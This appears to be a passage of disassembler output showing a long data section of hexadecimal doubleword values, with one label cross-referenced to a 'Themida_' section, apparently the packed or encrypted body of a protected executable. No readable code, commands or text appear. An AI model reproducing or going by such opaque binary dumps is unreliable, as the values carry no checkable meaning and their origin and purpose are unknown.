		dd 0BAB13254h, 5DB15336h, 0AEB6BF59h, 0D3BE3256h, 0ABB13257h
		dd 3CB132AEh, 0EAB13251h, 9B12410Dh, 0BA562D81h, 0BE305256h
		dd 0C8EF2694h, 57B9DB37h, 2423256h, 0CBEF7222h,	0EAB1D663h
		dd 75BAB059h, 0BC583256h, 0B5B13256h, 0DF098492h, 58B13243h
		dd 0ABB136DBh, 53B5256h, 0EAB6DB37h, 0CF263256h, 4F0A7B61h
		dd 0A1B132FFh, 0AEA0B759h, 5B583256h, 0A5B13256h, 0A4F83F0Ch
		dd 0AB5F9702h, 75ED09D7h, 0BABFDB56h, 373F3256h, 0D221C981h
		dd 0E4354EBCh, 0DD083D05h, 0D5A6BE59h, 0F8583256h, 7DB13256h
		dd 0CF86048Ch, 45B1846Ah, 7F98EB9Bh, 0CEC17804h, 42B1320Bh
		dd 0D5B13253h, 56F9ACCBh, 9CB1321Ch, 0BAB1325Fh, 7A3A6A3Bh
		dd 43BAB780h, 37B13290h, 0A44BB930h, 0D5D0F0E9h, 0EAB1C756h
		dd 8CB132AFh, 0AE583256h, 6BB13256h, 6BD399A4h,	9229A4EEh
		dd 8002570h, 23D8CEF2h,	0EA7459A4h, 0F4D75256h,	0B55B80B4h
		dd 5DB137DEh, 59305456h, 57D0ECC4h, 26BE5256h, 0D5B13254h
		dd 6BD76A07h, 14E9078Ch, 34BE3256h, 5DB13242h, 0AEB13DBFh
		dd 749C6256h, 9C242604h, 3BA9395Ch, 0BA7DB5E8h,	75483256h
		dd 0BAB1CB56h, 5DB13EBFh, 97498F56h, 952DE6FEh,	8FCCF84Dh
		dd 0DAB132A1h, 0EAB133DFh, 75B1CE56h, 43B132A3h, 51583256h
		dd 0F5B13256h, 455CAD90h
		dd 0D3AC3F30h, 0D59758F1h, 343A5256h, 75B153A3h, 0BAB134BFh
		dd 7CB8F656h, 0AE2DD343h, 56353D56h, 57B13256h,	3A305436h
		dd 0E5D19B3Dh, 0FFBECDE1h, 0BAB13256h, 5DB15337h, 29BE6236h
		dd 57B13256h, 25BE530Ch, 0D5B13251h, 0E5E96536h, 75D0CAE1h
		dd 0BAB1C756h, 5DB13FBFh, 62107E56h, 0D2B3C7FCh, 0E946B5E9h
		dd 0D5B1CF30h, 8AB132AAh, 3F0C0D7h, 0B5D0433Eh,	5DB123D4h
		dd 0AEBDDB56h, 159D3256h, 0FDA2C16Bh, 632C1A7Ch, 0EAB11231h
		dd 75B0BB59h, 0BA493256h, 0D6D75256h, 5247B2A1h, 0BEB13237h
		dd 0ABB13245h, 232D7A28h, 48F2E819h, 4B4A87C3h,	0A6E6616Dh
		dd 5D45D892h, 713A5256h, 58B13237h, 0ABB135D6h,	5ED75256h
		dd 8B4AB9A6h, 0FABE3256h, 0BAB13257h, 0B4B132AAh, 0AEB1325Ah
		dd 6BB31071h, 2E655DC3h, 0F4B8F607h, 0EAB135BFh, 0A988B656h
		dd 0E25DB4Eh, 4F583256h, 45B13256h, 0E4401E6Ah,	19AF1718h
		dd 4DA5656Dh, 0B69828B5h, 9CB132A8h, 0BAB13258h, 0E44CADC0h
		dd 0D4E7D1A2h, 3A6B2BDFh, 0ABB1B938h, 0D5B137BFh, 8A3BD756h
		dd 75B1D215h, 36FB336h,	0B5D80611h, 0AEB13246h,	58D629F3h
		dd 964D0A7Bh, 415C330Bh, 3D98E57Eh, 75B13BBFh, 0CE881E56h
		dd 0BA754506h, 0CFEF8F89h, 57443256h, 0ABB1C756h, 0D5B126BFh
		dd 0C737D356h, 0BF14CA5Fh, 0DBF58111h, 0FE438CE5h, 0E560D2C9h
		dd 0AFB132F0h, 2AD13256h, 0B84813BCh, 0C8508B5Eh, 9CD07990h
		dd 0BAB1325Eh, 4E39C192h, 4B1B6EC3h, 0DEBE3256h, 0ABB1325Dh
		dd 0D5B134BFh, 0FE50356h, 7A7314A0h, 0BAB138D5h, 0D6D75256h
		dd 890F8B80h, 57D04C6Fh, 0ABB1CA56h, 0D5B13ABFh, 51904556h
		dd 9461B73Bh, 4FB13287h, 0D8BE3256h, 0AEB13257h, 0BEB132AAh
		dd 0ABB13258h, 0ADD6CCDFh, 9DC9FF67h, 0BCDDBE0Ah, 0BAB1FC75h
		dd 52B132AAh, 0AEB133D2h, 57B1CB56h, 0ABB134BFh, 0FFD46156h
		dd 0EACDE5D3h, 0F2BE5256h, 0BAB13254h, 0AC306D04h, 82CF1B09h
		dd 0ABB13237h, 0ABB13FBFh, 0FF0FA956h, 0DEC9C616h, 0DFF210B8h
		dd 0BAB19574h, 5DB120BFh, 0A2C4B556h, 352B3F33h, 0C2172348h
		dd 441BE29Eh, 0EAEAAD12h, 0B2315256h, 0DB4BB9BCh, 5D4D3256h
		dd 0A2353D56h, 37B13256h, 0C50F05EFh, 43C38D58h, 0EAD048D8h
		dd 75B4DB56h, 8F463256h, 5DB6F4C5h, 0AEB1CE56h,	57B134BFh
		dd 0F0CE6A56h, 0D5E54128h, 0EB323D56h, 89B13256h, 0B5D13256h
		dd 5DD0F0E9h, 0AEB1CA56h, 57BDBF59h, 0AC583256h, 65B13256h
		dd 96BABC1Eh, 75B1ED01h, 0BABDBD59h, 0DDBE3256h, 0AEB13250h
		dd 57B1BC59h, 0B8583256h, 0C1B13256h, 52F60B27h, 0D68CC03Eh
		dd 12E1CD86h, 0B567A2E3h, 0AEB14635h, 57A0B759h, 29BE3256h
		dd 0D5B1325Dh, 0EAB134BFh, 0DA32556h, 0BAE2E564h, 5DB1CA56h
		dd 0A93E3DAAh, 58B13256h, 0ABB133DFh, 0D5B1CE56h, 8AB132AAh
		dd 0A5CA8A30h, 0BAB7B859h, 0AB303256h, 929C664Fh, 0BEB13237h
		dd 0ABB1325Bh, 0BF10703Eh, 9087046h, 0FF342D93h, 42B13256h
		dd 0DCBE3256h, 0AEB13251h, 57B0BB59h, 0AB483256h, 54D75256h
		dd 5E6AD291h, 75B15381h, 0BABEDB36h, 32313256h,	94F9EE9Fh
		dd 4F459262h, 7425B8C7h, 0D5BEDB16h, 2B763256h,	0E722B33Fh
		dd 67EB8C9Dh, 0AB85B2CFh, 0AEB15381h, 57A6B659h, 0B9583256h
		dd 77B13256h, 3DF33C89h, 55DDA735h, 123DCABCh, 0B630A307h
		dd 5BB132E6h, 57483256h, 0AC323D56h, 0DAB13256h, 0EAB133D6h
		dd 75B1C756h, 0B5B132AEh, 5DB133D5h, 0AEB1CB56h, 57B0BD59h
		dd 0A44D3256h, 0D5B133D7h, 0EAB1CE56h, 0FED752AAh, 0BABDDBADh
		dd 25F03256h, 0CE87DF2Dh, 0BFC1A129h, 0ABD04A1Bh, 0D5A3DB56h
		dd 41FE3256h, 0D11BA7BFh, 3976BE73h, 0EE6CD687h, 0C85F020Ch
		dd 0D4BE3256h, 0ABB1325Eh, 0D5B3B159h, 8BD13256h, 80B132AFh
		dd 0B5B132A3h, 5DB124DDh, 0AEA0DB56h, 2FE83256h, 3B3EAFF5h
		dd 60B91C76h, 3CA73EA6h, 756B9070h, 0BAB1CB56h,	3446436h
		dd 5F3A5406h, 37D1530Dh, 0A46EB930h, 0D5B132D0h, 8B4D5356h
		dd 65583256h, 59B13256h, 0F43A78F9h, 7F9B3CAh, 11DDE1D5h
		dd 0ABD3FAEDh, 6ABE5256h, 8C445291h, 14D0C1DDh,	0ED13256h
		dd 5DB15376h, 2E7EB836h, 37D0698Dh, 54063D36h, 1F063D01h
		dd 0EA595308h, 2FB13256h, 7931D8D7h, 0D9BE35BCh, 0AEB13266h
		dd 57A3DB36h, 44AA3256h, 5DD1FBFDh, 67AE0F20h, 5EEF253Bh
		dd 0A0531B0Eh, 5DB120BFh, 0E52DD956h, 7D8607D5h, 0B9F238A9h
		dd 5FACE53Ah, 8B8B32DEh, 75B134BFh, 29403E56h, 0A15A0A94h
		dd 1B91B7DBh, 0D7BE35BFh, 0ABB13251h, 0D5B0B059h, 8A4D3256h
		dd 7137B5EFh, 0B63D3D36h, 0B4B13256h, 0AEB13251h, 7DAD8F55h
		dd 0CAE60100h, 790BB0DFh, 6BBE35BCh, 75B1325Dh,	0CF0A5436h
		dd 8D305445h, 23D0B860h, 0BC1F66D4h, 2938CB51h,	0D25B9EBBh
		dd 0EAA3B059h, 0FCBE3256h, 0BAB1325Ah, 5DB135BFh, 544C5456h
		dd 0A59CCB8Bh, 0AB8532BEh, 0D6095256h, 2F9B938h, 75B13258h
		dd 0B3EBB004h, 84AE1BB9h, 0CE1CCF7Dh, 5158545Ah, 63B13256h
		dd 368EAD5Eh, 2D069A5h,	75B1303Dh, 0B033F5AEh, 5DB6D8FAh
		dd 0A1B13256h, 57B135DBh, 1CBE5256h, 0B4D052AFh, 0E0343D04h
		dd 9CB13256h, 0BAB13253h, 1F13068h, 8334F4B1h, 1B6D67Ah
		dd 0ABB13DBFh, 3F938D56h, 0A62CBC34h, 0FE81CFE2h, 0B1447FE9h
		dd 0F509603Eh, 19BE52CAh, 3666B890h, 0EA04CDAEh, 0B5B6D677h
		dd 0EAB13CBFh, 9981FA56h, 0E92996E9h, 9AFB7154h, 2F5BFE37h
		dd 3CCD2CA7h, 2E3C5355h, 0D25682F1h, 79085236h,	7AE95B00h
		dd 0BAB132DFh, 0EB0F5356h, 0CFC6CB35h, 0D7D1E2A9h, 0A2592890h
		dd 9AB13256h, 4982D04Eh, 59CA3B78h, 33D069AFh, 0B992D3D3h
		dd 0B9323D51h, 37B13256h, 0B159B330h, 0D5BADB6Eh, 1DC83256h
		dd 0CF13F422h, 3361CF42h, 59DB53E1h, 59305236h,	0CFAB853h
		dd 0AF50B330h, 0DAD153B4h, 0EAB132DAh, 7D6DB256h, 0BAD95337h
		dd 52B13246h, 0AEB121D1h, 57BFDB56h, 21F03256h,	0B950B7F2h
		dd 0CACBB59Ah, 9E942FBEh, 0B9BC723Eh, 5DDBCB56h, 0AEB13EBFh
		dd 0E8868256h, 8E526B0Fh, 5D927147h, 0E561CDF5h, 75B135D0h
		dd 0BB3C3D56h, 0A1B13256h, 20BECE0Ch, 57B1325Ah, 0ABB7B459h
		dd 5CBE3256h, 0EAB13256h, 0F1BEF25Dh, 0BAB13340h, 0B44D52AEh
		dd 0AEB13245h, 56DAACA8h, 0AE885A5h, 0D89CB041h, 6BA89C04h
		dd 140B86F5h, 16BBB0DFh, 0D6BE35BCh, 0AEB1325Eh, 57B3B659h
		dd 0CAD13256h, 79ABB0DFh, 534935BCh, 75B23F16h,	5349B9A3h
		dd 5DB13247h, 0AC345517h, 0CF0F2B23h, 5B613C0Bh, 5FF15247h
		dd 0EC58522Bh, 0A9B13256h, 753B8876h, 6809548Ah, 6E82538Ah
		dd 579BB359h, 42D13256h, 0D5B1325Ch, 5BE26FD1h,	0CD5A7BD1h
		dd 0AE58731Ah, 0DEB13256h, 0AD9169AFh, 0CB2F3B9Dh, 60D01EDAh
		dd 86EB5EB1h, 8BA73312h, 274D98A5h, 53B558AFh, 5DB13258h
		dd 2EBAA085h, 21E21EE0h, 714D2DB0h, 0D5D9AA24h,	3B13246h
		dd 75B1325Fh, 0C398C374h, 869C2A36h, 0AAB15A73h, 3D493256h
		dd 0ABA0DB56h, 0A72C3256h, 0B6C4047h, 3546A702h, 8DE2A9ADh
		dd 0A892C93Eh, 8D50A0A9h, 0D7BE35B2h, 0ABB13240h, 0D5B123BFh
		dd 0C810B856h, 0F2055CFAh, 723CA204h, 9E2A7942h, 56EB27F4h
		dd 57B0B359h, 224D3256h, 3F1E2AD4h, 16D0CA51h, 0D9BBB7DDh
		dd 3CBE35BCh, 5DB13257h, 0CE4DF1A3h, 57B13ABFh,	93E48D56h
		dd 53FE6002h, 0E733F5A5h, 75B6D665h, 0B5B17256h, 5DB13AD7h
		dd 0AC3D3D56h, 37B13256h
		dd 7A33F537h, 0D5B6D64Fh, 0E5B13246h, 75B133D3h, 53D0C756h
		dd 5DB1325Eh, 0C2EFAC2Dh, 1D6D3175h, 0ABBEDB95h, 1C863256h
		dd 81531222h, 329E5F83h, 0ECF18E48h, 0A444521Fh, 2BB88DDh
		dd 0DBBE35BCh, 0ABB13251h, 0D5B0BB59h, 69483256h, 0F1BE3269h
		dd 0BAB132BBh, 5DBDB759h, 22BE3256h, 57B13250h,	0ABB1BC59h
		dd 0AA323256h, 6EBE3046h, 75B13239h, 0C571B336h, 0AEBB3CFh
		dd 5BD06CAFh, 53A14DD5h, 0AB37B659h, 0B3D13256h, 0AC08EDD7h
		dd 75B121BEh, 0E4B2B756h, 0C4CE94E9h, 6DDFE724h, 96AFE011h
		dd 4B00F0B4h, 0D5B123BFh, 0B51F3256h, 0D37F27FAh, 0BA597F8Eh
		dd 4B573D0Ch, 0CFE92D6Eh, 4376B1A3h, 0ABB13CBFh, 0DBD8056h
		dd 916002D5h, 4194EE42h, 53BBC3D3h, 0A24ECD25h,	0A90F5436h
		dd 90D0C704h, 0ABB02211h, 0DD583256h, 30B13256h
dword_5EEC68	dd 0B1AE4C19h, 5379C499h, 0A24ECD93h, 0AEBCDB36h, 31EE3256h
					; DATA XREF: Themida_:0059CECCo
		dd 0C1BAFEE6h, 1D316FB4h, 8B965CE7h, 76A17591h,	0B5B13256h
		dd 5DB13AD8h, 74305256h, 1D64E266h, 5426DB37h, 87D1CDA9h
		dd 0DF881CE8h, 78586B17h, 91B13256h, 3955A014h,	5D0C0A82h
		dd 902456C5h, 0BA585337h, 0A5B13256h, 1C43F13Dh, 4726F883h
		dd 536C58DAh, 1F3B7F1h,	0AEBDDB95h, 0E9573256h,	1C312019h
		dd 0D2A6FE0Ah, 8AE4FF47h, 75B135BEh, 1028F556h,	0D6633046h
		dd 0A1E66BAFh, 36E8CDE1h, 0AF333D36h, 0B3B13256h, 614D0BE8h
		dd 993A539Dh, 0BAB7BC59h, 3BD13256h, 0CF761EEFh, 5D353D36h
		dd 42B13256h, 0D5B13253h, 0B54F03BDh, 75B1DAEAh, 3BEB3256h
		dd 0B77991BCh, 0A058CA51h, 0EB13256h, 20C0A4E5h, 3125EB38h
		dd 58DA4320h, 5B03B970h, 0B5B6D8F9h, 5DB13EDEh,	0A8373D56h
		dd 58B13256h, 0ABB132D8h, 0D5B8DB56h, 0DF053256h, 0EEA6B2E4h
		dd 31443D69h, 4E583A13h, 1CB13256h, 1D1ED10Dh, 2A2D9BDDh
		dd 6329B1Eh, 220A743Ah,	73380634h, 0BAB139BFh, 616E5256h
		dd 7DA9E416h, 0AA3C1D05h, 49FB0D5h, 20B535BCh, 0ED585237h
		dd 18B13256h, 24C4FB90h, 94D01286h, 2FD76036h, 0CE9EBB1h
		dd 69D0C2DDh, 0B5493252h, 0EABDB659h, 0F8BE3256h, 0BAB13250h
		dd 5DB1BB59h, 0AE593256h, 0DB13256h, 62E1D8D7h,	204D35BCh
		dd 45A980DDh, 4E4935BCh, 501E1CE4h, 8C353D51h, 0CEB13257h
		dd 0E75BDAD6h, 953A5374h, 0B3A6536h, 0F0B600Ch,	2BD550EFh
		dd 536EB937h, 5DB1325Eh, 7F543373h, 0AAB7CD80h,	0AAFE8459h
		dd 0D5B0B959h, 1C483256h, 7A313311h, 0BAB10CD3h, 0E2BE5256h
		dd 0AEB8DBAEh, 0FD6B3256h, 4A3E6605h, 0B459FD80h, 68BEEB55h
		dd 75B13251h, 0BAB0BD59h, 0B4493256h, 0AEB13265h, 57A0BF59h
		dd 0A7583256h, 7FB13256h, 23DBF208h, 0D5DE9357h, 91B1014Fh
		dd 49313D8Fh, 47B13256h, 57B13259h, 8B86C91Ah, 13FEA099h
		dd 7EEC7C4Dh, 365551CEh, 53D152AEh, 5DB1325Bh, 284C2899h
		dd 99BF8167h, 0C88827DFh, 0B472B841h, 0C25AE2D7h, 36D0292Eh
		dd 0BAB0B359h, 0D64D3256h, 4A927FD3h, 57BBDB51h, 148B3256h
		dd 9FF112B4h, 0BC6A9A90h, 60D4BFDDh, 814935B2h,	0E8333D8Eh
		dd 0A1B13256h, 57B12FD7h, 0BC3E3D56h, 3CB13256h, 0EAB13244h
		dd 616C45A9h, 0D0F13218h, 6656021Fh, 655F7D1Ch,	8E8A4D1Ch
		dd 0AB3BB559h, 0C6583256h, 3B13256h, 0C1B8C354h, 0C2C1B1CEh
		dd 0BA6FAFD6h, 6670F69Fh, 913231EEh, 43D15252h,	0D5B1325Bh
		dd 0CC29D32Fh, 39AADE5Ah, 0F40E44ACh, 49586D2Fh, 3AB13256h
		dd 424E4964h, 0DACD3F09h, 0ECD6C7E7h, 6E4E56FBh, 14166542h
		dd 0B5D01DE2h, 5DB13CD4h, 0AEB8DB56h, 0E2DB3256h, 12CCE38Ch
		dd 3C17E222h, 154ECCD5h, 75B13FBFh, 6897B456h, 55253FB1h
		dd 41EB52FDh, 5A58EDE6h, 0EBB13256h, 70958944h,	95260F68h
		dd 0C65E8116h, 3EBEFD6Dh, 5DB13262h, 0AEB13CBFh, 778C8356h
		dd 0DC5F3103h, 47FAFFD4h, 8ABBFA25h, 75B7DBA3h,	355B3256h
		dd 0A17E1871h, 0CB0CBB37h, 58B6D643h, 0ABB133D9h, 0C858C756h
		dd 124ECDA8h, 75A0DB37h, 83A93256h, 5D1B5BDEh, 592E62DAh
		dd 1B7DD11Ch, 6896A503h, 0A553B236h, 0FB2AF0D7h, 15D03025h
		dd 0BAB123BFh, 0CE5EA156h, 365C2FF6h, 0BABD4F74h, 65832BE7h
		dd 56BEC1D3h, 0EAB13241h, 75A0B659h, 0B6583256h, 0C8B13256h
		dd 8BFB5B3Eh, 0E5C16FC4h, 437650DBh, 0D5B13256h, 735BB30Ch
		dd 7AB6D89Dh, 0BAB133D1h, 0B4D1CA56h, 0AEB1325Eh, 0FC73D4h
		dd 3B4735F0h, 0B5D047E5h, 6BD7E8DDh, 141FE6B9h,	15A988DDh
		dd 555835BCh, 55B13256h, 400152Ah, 42341833h, 0D5B1325Ah
		dd 0ED79F43Ch, 31DC9AEEh, 0FE2E553Dh, 5DB032EFh, 0A1343D56h
		dd 0BEB13256h, 0ABB1325Ch, 64678982h, 7FB755FAh, 0B58263E7h
		dd 0BAB0BE59h, 0AE493256h, 220252FDh, 57B3B659h, 0F1E13256h
		dd 0DD3D3D37h, 0E5B13256h, 75B130DBh, 31D05256h, 0B71E2AD4h
		dd 2C38CE51h, 505B9D78h, 0ABB0B659h, 0B4493256h, 0E5725336h
		dd 75B139D6h, 5BE5256h,	0A567B3ACh, 0CFA7DBF2h,	43323D36h
		dd 0CBB13256h, 0D5BDDBAAh, 3EB93256h, 0BE1C64EAh, 0DEC887D5h
		dd 0B5D0D05Dh, 0AEB13256h, 3A5BB30Ch, 42B6D89Ah, 0D5B13242h
		dd 72BCF1EAh, 0D8F8C314h, 0FD95BF62h, 0B0ABAD2Bh, 8E2A78C9h
		dd 0B963B336h, 0CDE0B1B3h, 0B48F52EDh, 0C69CB790h, 7AE735B2h
		dd 0BAB133D9h, 64D9CA56h, 0CE652D3Bh, 0D3BEC736h, 0ABB13256h
		dd 0D73C3D37h, 0BBB13256h, 0C04E530Fh, 0BD551317h, 5DB8DA36h
		dd 7FA23256h, 0BF395042h, 0A480E2E3h, 64EAE5E9h, 6F3C5361h
		dd 725682F1h, 423A5436h, 5DB13CBFh, 7CB26B56h, 824847B4h
		dd 0B132C875h, 0B4B5B21Fh, 0B848E2A9h, 675862AEh, 0ABB13256h
		dd 0AEE028ADh, 6A3FD9D1h, 536766DAh, 0D57DA795h, 55B15AA8h
		dd 80483256h, 743B3D56h, 43B13256h, 0F1BB80A9h,	514835BCh
		dd 37485286h, 0CAEF64AAh, 0DA586A37h, 69B13256h, 6D87E79Ch
		dd 0EE3B6365h, 587804B2h, 0A1EB5695h, 57B121D9h, 0ABBFDB56h
		dd 0F0163256h, 9C2A02BBh, 0D545BA68h, 0E4BCD3E2h, 5D31323Eh
		dd 0AF3F3D56h, 0A2B13256h, 0A4D1323Ch, 6ABEC8E1h, 6BD153A4h
		dd 9C25AD8Dh, 70063D67h, 4503CD37h, 0A1B6D8F9h,	57B121D3h
		dd 0ABBFDB56h, 0FF533256h, 2BA9762Ah, 30F53582h, 4DB30D2Eh
		dd 0D8BEE2A9h, 0AEB13257h, 5A5853AAh, 6CB13256h, 0A1FDEF89h
		dd 2E9BA893h, 0D7076C3Eh, 30BEC795h, 5DB1325Ch,	7C305436h
		dd 0E0BECC4Ch, 53E45391h, 3C5DB9AEh, 0EAB1325Ch, 883DC9A5h
		dd 2B3A60CEh, 3DD14FEDh, 477E8D59h, 57B13246h, 0D5C2FA64h
		dd 0B48B5D0Dh, 1F353C9Fh, 0A934D3EAh, 0BAB1DA37h, 0DCEB3256h
		dd 447F35BCh, 57A3DB51h, 984F3256h, 8A99FE29h, 73CADF0h
		dd 0B0E0469Eh, 0E137D583h, 6E75236h, 0CFD082E6h, 57B122BFh
		dd 0DC763256h, 0A6012163h, 81D0FE30h, 11430BD4h, 0B2C4B95Ch
		dd 5DA6B059h, 0BC583256h, 8EB13256h, 546510Fh, 2A63DC72h
		dd 92BA9874h, 0EF0E5043h, 0AB0852EAh, 3DE74F54h, 0AEB1BF59h
		dd 0A6303256h, 0E31AE87Dh, 34595337h, 1FB13258h, 75B8DB03h
		dd 2B1C3256h, 0DF1B1113h, 51BB7114h, 0BD1D88C4h, 1CBE5251h
		dd 8A0665A8h, 0E5EC5308h, 75B133D3h, 0CF8AC756h, 96343D5Ah
		dd 0A14ECDA9h, 57B126DEh, 0A6585256h, 4CB13256h, 9C563763h
		dd 0D658C3B4h, 196DD88Ah, 5323DA37h, 0CF4D3256h, 57B139BFh
		dd 0B0590C56h, 4FA3CB0Eh, 64CDA6C7h, 75B9B859h,	3BBE3256h
		dd 5DB13254h, 0A1785336h, 57B133DAh, 0A373CB56h, 0CC3F3D56h
		dd 3B13256h, 75B13242h,	296A21D0h, 4DDFE2BAh, 3A6B8490h
		dd 0A5C4C7F9h, 64E6DE3Eh, 393AC703h, 0EAA9B759h, 0F1BE3256h
		dd 0BAB13244h, 5DB13FBFh, 9A3FA956h, 3235CC02h,	6E554B63h
		dd 564D035Ch, 8CD1CE92h, 25527DE9h, 0BAB13ABFh,	99F16856h
		dd 2C121598h, 1D06C17h,	0AF373D36h, 0B3B13256h,	8CE473EDh
		dd 3111DDD7h, 3DBE6537h, 5DB13251h, 0AEB0BA59h,	4483256h
		dd 0ABB6B359h, 5CBE3256h, 0EAB13257h, 75B1DAAEh, 3BEB3256h
		dd 0B77EB1BCh, 0A4595251h, 3FB13256h, 99017E0Fh, 6FD78BC9h
		dd 0EABEDBC6h, 41A73256h, 9834756Ah, 504225FEh,	8EB4A69Eh
		dd 525868DBh, 0F0B13256h, 0CFAC551Fh, 0FB3B3D37h, 7AB13256h
		dd 0BAB139D9h, 5DB7DB56h, 73373256h, 0F0D13C7Bh, 42B947DDh
		dd 0D5B13244h, 0AFE7D622h
		dd 0AD3F85F4h, 0D60D58F3h, 161988Fh, 0D33A7F81h, 0BEE6C746h
		dd 0ABB13251h, 487AB545h, 0E5DC0BF1h, 75B133D1h, 53E7C756h
		dd 5DB13242h, 5A53F990h, 1199AF84h, 97020D39h, 0C54EA282h
		dd 0EE88AE97h, 7477DAAFh, 0DCD13256h, 529849EDh, 0AEB131D8h
		dd 8A6FB256h, 0A4713937h, 0D5B03DD2h, 0EAA2DB56h, 85A73256h
		dd 0CBC160F1h, 0B3F1F0Bh, 0FD345CE9h, 61039AFh,	0A1343DBEh
		dd 0B5B13256h, 0FA5EF0D7h, 2AE14700h, 0DA49B937h, 0B5D7F0D6h
		dd 0AEB13245h, 0AC8BBBEBh, 0CD244F83h, 8154F018h, 851651DFh
		dd 23E49C00h, 0EFD06B0Ch, 5DB137BFh, 0F2B33056h, 0C54E3DFFh
		dd 0AC5B9EECh, 0D5B13DBFh, 0C53B2856h, 9620118Ch, 28C7650Bh
		dd 2D456AE6h, 0AEB9DB0Bh, 3C233256h, 0DAEEDB73h, 0A08AF044h
		dd 63353D5Ah, 9CB13256h, 0BAB13250h, 72AEFD35h,	25D75B0Fh
		dd 57BFDB48h, 6E0A3256h, 61DDBB31h, 0AF60400Bh,	0D71BF135h
		dd 0BAB13BBFh, 9547FD56h, 65AA7B81h, 0B0311A37h, 0DE0F52A6h
		dd 0B58C9490h, 0EAB1B059h, 0AA303256h, 0FEB7777Dh, 433B5337h
		dd 4D31CBA3h, 46323DA6h, 42B13256h, 0D5B1325Ah,	6EDE5B3h
		dd 0AE0B011Dh, 0EAC88B0Eh, 5D92B4BEh, 1158CA56h, 0BE4ECDA8h
		dd 0ABB13242h, 0B14C3217h, 879DEA19h, 0FBF6ADB6h, 8A3337Eh
		dd 30F3CE31h, 0A14D4FDFh, 57B13EDFh, 0AD313D56h, 0DAB13256h
		dd 0EAB132D7h, 8072DA56h, 3D1CDA9h, 115F41A6h, 0FF51B330h
		dd 0BEEA537Dh, 0ABB1325Dh, 491B0F75h, 306DC18Eh, 2A220184h
		dd 0BAB126BFh, 63DF6456h, 5356F066h, 1FDFEA67h,	4C6A05BAh
		dd 500EA12Ah, 3446C3Ch,	75B13250h, 0EECE39A9h, 183A264Dh
		dd 0A63E3DAAh, 58B13256h, 0ABB130D1h, 1CD05256h, 0EAA5B959h
		dd 7A583256h, 34B13256h, 3EA3EA43h, 0AF280E30h,	0F1FD1547h
		dd 0A7733DE8h, 0D3585256h, 0A5B13256h, 0F143ABA9h, 2D7648Fh
		dd 3CEF9267h, 0AEA0DB03h, 8DF93256h, 4DA35FA0h,	76EBEE25h
		dd 0B0B09291h, 0FE529100h, 0B2383DBAh, 3DB13256h, 2E0EE0D6h
		dd 0D4D0B7A6h, 0B858CA92h, 0A6B13256h, 71BC7EF2h, 0B87BB92Bh
		dd 0D20A9455h, 0E3333C49h, 47E6BFE5h, 57B13246h, 596679E6h
		dd 3F00DE54h, 323D3A09h, 51E47155h, 53E0C700h, 5DB13242h
		dd 8BB2C8F5h, 0FB4CCA27h, 7C4C7765h, 0F6CB82F2h, 5A9FEAA7h
		dd 75B9DB05h, 45C3256h,	444D952h, 0EB765841h, 57B132AEh
		dd 79075256h, 302B8B30h, 9933F537h, 74B6D8F8h, 46B13256h
		dd 52B947DDh, 0AEB125D6h, 57A3DB56h, 9CF43256h,	38D6AB6Ch
		dd 46A1063Ch, 0E3A82FE2h, 0B0A1D059h, 0A4AFB930h, 2BB88DDh
		dd 0D4BE35BCh, 0ABB1324Fh, 0D5A2B559h, 0E4583256h, 7DB13256h
		dd 0EB9F2930h, 64841769h, 0BE458A95h, 5FEEB9BAh, 0ABB134BFh
		dd 8D700656h, 0E109E339h, 0F0353D8Dh, 53B13256h, 5DB13242h
		dd 0FABA14B7h, 0DFC6F651h, 3C6871B1h, 0BFA0286Dh, 325E00B6h
		dd 75A5B859h, 0B5583256h, 30B13256h, 4C97A4D8h,	0C6CD9F17h
		dd 6BD71D50h, 0B8AA774h, 0EAA6B759h, 73583256h,	1BB13256h
		dd 0D95309A9h, 0A2ECB91Fh, 5BEEBBAFh, 583A5436h, 0C176B137h
		dd 0EA383D36h, 9CB13256h, 0BAB1325Ah, 0CCDEAAC6h, 0FB224041h
		dd 714836E2h, 54C6DB37h, 6CD1CDA9h, 9727F586h, 75B137BEh
		dd 0B934AC56h, 3CEA8D08h, 0CEAFB930h, 57B13ABFh, 7803D456h
		dd 0EFA71A5Bh, 343A5424h, 7B595237h, 1BB13256h,	0EFE6CBD1h
		dd 8FD69F2Ch, 0AD7A0CDDh, 643A54CDh, 0D6303D0Dh, 0E5B13256h
		dd 0F5D0EBE1h, 3EBEDAADh, 5DB13126h, 0AEB9BC59h, 0DDBE3256h
		dd 0ABB13254h, 2E315336h, 0B3353DBFh, 15B13255h, 514AB237h
		dd 5EFFB659h, 0FED13256h, 31EF5336h, 0D044F5D7h, 374AB237h
		dd 0E996B659h, 7E583256h, 4B13256h, 0F57A66B9h,	3F2930F0h
		dd 0AC31775Ch, 58353DB5h, 0B5B13254h, 10BDAD7h,	0BD310AA7h
		dd 0DC4D539Ch, 0BED6C9D7h, 0AC46B659h, 0BE443256h, 0ABB1325Ah
		dd 0AC9FA10Bh, 280B9A39h, 895A5F4Fh, 0DA41D5D6h, 5DB3B159h
		dd 0CFD13256h, 0AC305437h, 2FBEB259h, 0D5B130B6h, 8CEB6036h
		dd 14BF73E8h, 4241D1D6h, 52C1C9D6h, 0AEB3F9D2h,	57BCDB56h
		dd 95C23256h, 1EE7C035h, 0EED9E884h, 1391DA3Bh,	0AB582CDDh
		dd 1BB13256h, 0B71A2DBDh, 86DF6172h, 0C08B2B7Fh, 0B146DB1Bh
		dd 0E549D1D6h, 75B13EDFh, 3DBE5256h, 5DB13256h,	65D58C30h
		dd 97305237h, 0B8F7B82Ch, 0B410C0D6h, 0E509C9D6h, 75B0B6D2h
		dd 0A23C3D56h, 0B4B13256h, 0AEB13245h, 34AA1301h, 0E4CA50EFh
		dd 0C574785Fh, 0BB4FD941h, 0F54B9AF9h, 3EBE3768h, 5DB1330Bh
		dd 0AEBEB859h, 5D583256h, 0EB13256h, 0CB66A553h, 4E348B9Ah
		dd 588FB2F8h, 0BB8EB659h, 0D4BE3256h, 0AEB13257h, 3F8FB2AAh
		dd 0AA9EB659h, 50BE3256h, 0EAB13251h, 75B0B959h, 0B5493256h
		dd 5DB135D6h, 0CFD15256h, 3643B930h, 5C2B0A9h, 0DAD135BCh
		dd 3E7E1E1h, 75B1325Fh,	3A8A2795h, 45115A50h, 0C8D0683Bh
		dd 46582CDDh, 26B13256h, 0A1196BEAh, 569DAB27h,	0B54F4A18h
		dd 7A48741Ch, 0A449D5D6h, 553054AAh, 0D3BEDAD7h, 0ABB13287h
		dd 3CD0C736h, 0EAB13246h, 6F66F128h, 94850A63h,	0E23B3882h
